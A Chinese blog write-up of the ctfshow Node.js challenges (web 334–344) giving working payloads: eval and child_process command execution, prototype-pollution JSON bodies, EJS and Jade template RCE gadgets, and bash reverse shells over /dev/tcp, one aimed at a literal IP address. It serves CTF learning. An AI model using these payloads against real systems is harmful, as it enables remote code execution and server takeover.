ctfshow nodejs

最新推荐文章于 2024-07-19 16:23:12 发布
最新推荐文章于 2024-07-19 16:23:12 发布
阅读量627 收藏
点赞数
分类专栏： ctfshow_web入门 文章标签： javascript
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/shinygod/article/details/128988619
版权

web 334

大小写转换特殊字符绕过。

“ı”.toUpperCase() == ‘I’，“ſ”.toUpperCase() == ‘S’。
“K”.toLowerCase() == ‘k’.

payload:

CTFſHOW
123456

web 335

通过源码可知 eval('xxx')，eval 中可以执行 js 代码，那么我们可以依此执行系统命令。

利用系统命令：

require('child_process').execSync('ls').toString();
require('child_process').spawnSync('ls',[]).output;
require('child_process').spawnSync('cat',['fl00g.txt']).stdout;
//Function("global.process.mainModule.constructor._load('child_process').exec('calc')")();

利用文件系统模块：

require('fs').readdirSync('.'); //读取目录
require('fs').readFileSync('fl001g.txt');

另外与 eval 一样可以执行系统命令的函数还有：setInterval 、setTimeout 。

setInterval(require('child_process').exec,1000,"calc");
setTimeout(require('child_process').exec,1000,"calc");

nodejs一些入门特性&&实战

web 336

过滤了一些关键字，我们可以用字符串拼接或者变量拼接的方法（ + 号要 urlencode）。

require('child_process')['ex'%2B'ecSync']('cat f*');
var a="require('child_process').ex";var b="ecSync('cat f*').toString();";eval(a%2Bb); 
require('child_process').spawnSync('ls',[]).output;

web 337

md5 绕过，和 php 的有异曲同工之妙。

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

payload:

?a[]=&b[]=

web 338

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

也就是需要让 sercert.ctfshow 的值为 36dboy ，下面的 copy 函数就是一个典型的原型链污染

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

payload:

{"__proto__":{"ctfshow":"36dboy"},"password":"123456"}

web 339

原型的讲解和区分：https://www.cnblogs.com/shamoyuu/p/prototype.html
Function与constructor：https://www.bilibili.com/read/cv20770194

预期解

这题不能直接照搬上一题了，flag 值我们是不能动的，但是原型链污染依然存在。

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
});

但是在 api.js 中可以看到 query: Function(query)(query) 这不妥妥的可以命令执行嘛，又因为 js 中对象的一些性质，使得在调用对象的属性的时候若是没有 query 属性，则会沿着原型链向上查找调用，也就是说原型链污染，污染完后，再次 post 方式访问 api 完成渲染就可以了。

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

payload:
可以用下面的这个 payload 直接反弹 shell，但是这样就会有个小问题，如果不每次清除自己已感染的原型链，后续 copy 函数会报错，且 api.js 中的 query 会一直沿用我们污染的数值，容易影响网站业务。

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/12345 0>&1\"')"}}

所以我们可以在每次污染后清除污染的属性。

{"__proto__":{"query":"return ( e => {for (var a in {}){delete Object.prototype[a]}return global.process.mainModule.constructor._load('child_process').execSync('cat routes/*');} )()"}}

非预期解

直接利用 ejs 的 rce

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/123456 0>&1\"');var __tmp2"}}

{"constructor/prototype/outputFunctionName": "a; return global.process.mainModule.constructor._load(\"child_process\").execSync(\"xxx\"); //"}

同样是 post 方式访问 api 渲染执行命令。

web 340

和 web 339 题目一样，唯一不同的是需要向上污染两级，因为它 copy 的是 user.userinfo 而不是 user，如果只向上一级那么，污染的只是原型链的分支。

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
  
  
});

payload:

{"__proto__":{"__proto__":{"query":"return ( e => {for (var a in {}){delete Object.prototype[a]}return global.process.mainModule.constructor._load('child_process').execSync('cat routes/log*');} )()"}}}

web 341

这题就是上面提到的 ejs rce。
漏洞复现：https://www.bilibili.com/read/cv20929156?spm_id_from=333.999.0.0

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}}

web 342、343

jade rce审计。

{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/150.158.181.145/2333 0>&1\"')"}}}

web 344

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

正常情况下我们是要传 ?query={"name":"admin","password":"ctfshow","isVIP":true} 但是题目过滤了逗号，和 url 编码的 8c，2c 也就是 "c 不行了（双引号的 url 编码为 %22），所以我们要把字母 c 编码，又因为逗号过滤了，所以json 格式不行，那么可以用下面这种同名参数传参的格式。

payload:

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

这样还能成功解析的原因是：

nodejs 会把同名参数以数组的形式存储，并且 JSON.parse 可以正常解析

wp

yu22x
Ff.cheng

参考文章

Node.js 常见漏洞学习与总结
nodejs一些入门特性&&实战
几个node模板引擎的原型链污染分析
原型链污染（四）——污染导致的ejs模板rce
原型链污染（五）——jade rce审计

CTFshowWeb入门nodejs
Yu3511606536的博客
06-09 1297
ctfshowweb入门nodejs刷题，超详细基础
ctfshow web入门 nodejs334-338
2301_80548709的博客
04-27 871
这题入门题,下载附件以.zip的格式打开,拿到源代码,进行代码审计,发现,按照他的逻辑.输入正确的用户名及密码即可登录,这里需要注意的是,对于这个代码的逻辑,是你输入的用户名是不能等于CTFSHOW的,所以我们输入他的小写即可,因为它后面有toUppercase()函数,会将我们输入的大写,所以不用管.js大小写特性参考。
ctfshow-web入门 nodejs篇部分题解
volcano的博客
05-16 2536
ctfshownodejsweb334web335web336web337web338参考博客 nodejs web334 先下载附件，在user.js中发现了账号密码 module.exports = { items: [ {username: 'CTFSHOW', password: '123456'} ] }; 开环境，直接输入账号密码是错的，具体原因在login.js中 var findUser = function(name, password){ return users.
ctfshow web入门 nodejs web338--web344
2301_81040377的博客
07-06 887
Function环境下没有require函数，不能获得child_process模块，我们可以通过使用process.mainModule.constructor._load来代替require。然后我们利用这个来使用copy来实现属性的污染把，secret的ctfshow属性变为36dboy。和后面的 var __tmp2 不能删，是为了闭合代码。由于是污染题，所以我靶机是开了差不多十来次，终于是拿到了。源码和340没有变，但是没有api的函数触发了。污染之后没有反应，随便访问一个页面，反弹成功。
ctf.show的 node.js(web334-web342)
wanan的博客
09-30 722
ctf.show的 node.js(web334-web342)
NODEJS复习（ctfshow334-344）
最新发布
m0_74402888的博客
07-19 1507
判断secert.ctfshow==='36dboy'时，找不到ctfshow，会从Object里面找。return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});Function(query)(query)可以执行query对应的指令，我们可以使用变量覆盖，将query的值作为。
Nodejs的安全学习
unexpectedthing的博客
02-21 2303
文章目录Nodejs的文档弱类型大小写比较js大小写绕过ctfshow web334ES6模板字符串命令执行ctfshow web335ctfshow web336数组绕过ctfshow web337原型链污染概念介绍ctfshow web338VM沙盒逃逸知识点CTF题目参考文献 Nodejs的文档 http://nodejs.cn/learn 弱类型 大小写比较 跟php比较相似 console.log(1=='1'); //true console.log(1>'2'); //false co
[CTFSHOW][WEB入门]nodejs部分WP
Y4tacker的博客
12-27 3833
文章目录前言web334web335web336方法一方法二方法三web337 前言 nodejs从入门到挖坟，今天早上刚刚学了一点，成功了，比较开心 web334 下载源码下来在user.js里面发现了用户名和密码，群主比较坑哈，搞了个大写，明明是小写，ctfshow与密码我忘了压缩包懒得下 web335 一道Node.JS的RCE 之后cat fl00g.txt即可 web336 方法一 先用上一题paylaod 尝试绕过姿势，也不行 那么试一下读取下文件呢，看看过滤了啥,通过全局变量读取当前目
CTFSHOW-nodejs
m0_74456293的博客
04-17 655
CTFSHOW-nodejs
Ctfshow nodejs
Elite的博客
09-02 1155
Node.js是一个基于Chrome V8引擎的JavaScript运行时环境。它允许使用JavaScript来编写服务器端代码，使得JavaScript既可以在浏览器中运行，也可以在服务器端进行开发
【CTFSHOW】web入门 NodeJS
7ruth0hn的博客
10-04 928
文章目录写在前面web334web335web336web337web338web339参考资料 写在前面 web334 下载附件，其中user.js得到用户名为： CTFSHOW 密码为： 123456 审计login.js代码，其中： return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password; 得到name不能为“CTFSHOW”，但只要
ctfshow Nodejs
weixin_63231007的博客
03-08 902
承接上文nodejs原型链漏洞刷题练习
ctfshow_web入门_nodejs
qq_62989306的博客
01-21 588
javascript大小写特性、javascript的RCE、javascript变量、javascript原型链污染、ejs rce、jade原型链污染、http参数污染……
ctfshow nodejs系列
n1ght的博客
04-10 265
exec('bash -c \"bash -i >& /dev/tcp/vps/443 0>&1\"') 调用child_process库的exec函数，去执行一个bash的反弹shell，将query的值改成这个。分析一下代码，当a和b都不是null的时候，长度相等，a和b不相等，将a+flag和b+flag分别md5的时候，他们全等，输出flag，想起了php的数组绕过，res.query是获取get传参。return res.json({ret_code: 2, ret_msg: '登录失败'});
ctfshow 其他
qq_45951598的博客
01-11 3382
web396、397、398、399、400、401 parse_url 绕过 源码 error_reporting(0); if(isset($_GET['url'])){ $url = parse_url($_GET['url']); shell_exec('echo '.$url['host'].'> '.$url['path']); }else{ highlight_file(__FILE__); } 这里没有什么限制直接绕过 payload一 ?url=http
ctfshow nodejs wp
yink12138的博客
01-12 458
ctfshow nodejs部分的wp
node.js的学习以及ctfshow_node.js模块的练习
RealIiikun的博客
05-04 350
Node.js是JavaScript语言的服务器运行环境个人理解就是可以将 javascript 作为后端语言运行的一个环境服务器 – 后端浏览器 – 前端。
ctfshow--node.js漏洞
ing_end的博客
05-14 1216
一些漏洞： 危险函数所导致的命令执行 eval() eval() 函数可计算某个字符串，并执行其中的的 JavaScript 代码。和PHP中eval函数一样，如果传递到函数中的参数可控并且没有经过严格的过滤时，就会导致漏洞的出现。 简单例子： main.js var express = require("express"); var app = express(); app.get('/eval',function(req,res){ res.send(eval(req.query.q));//通过re
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值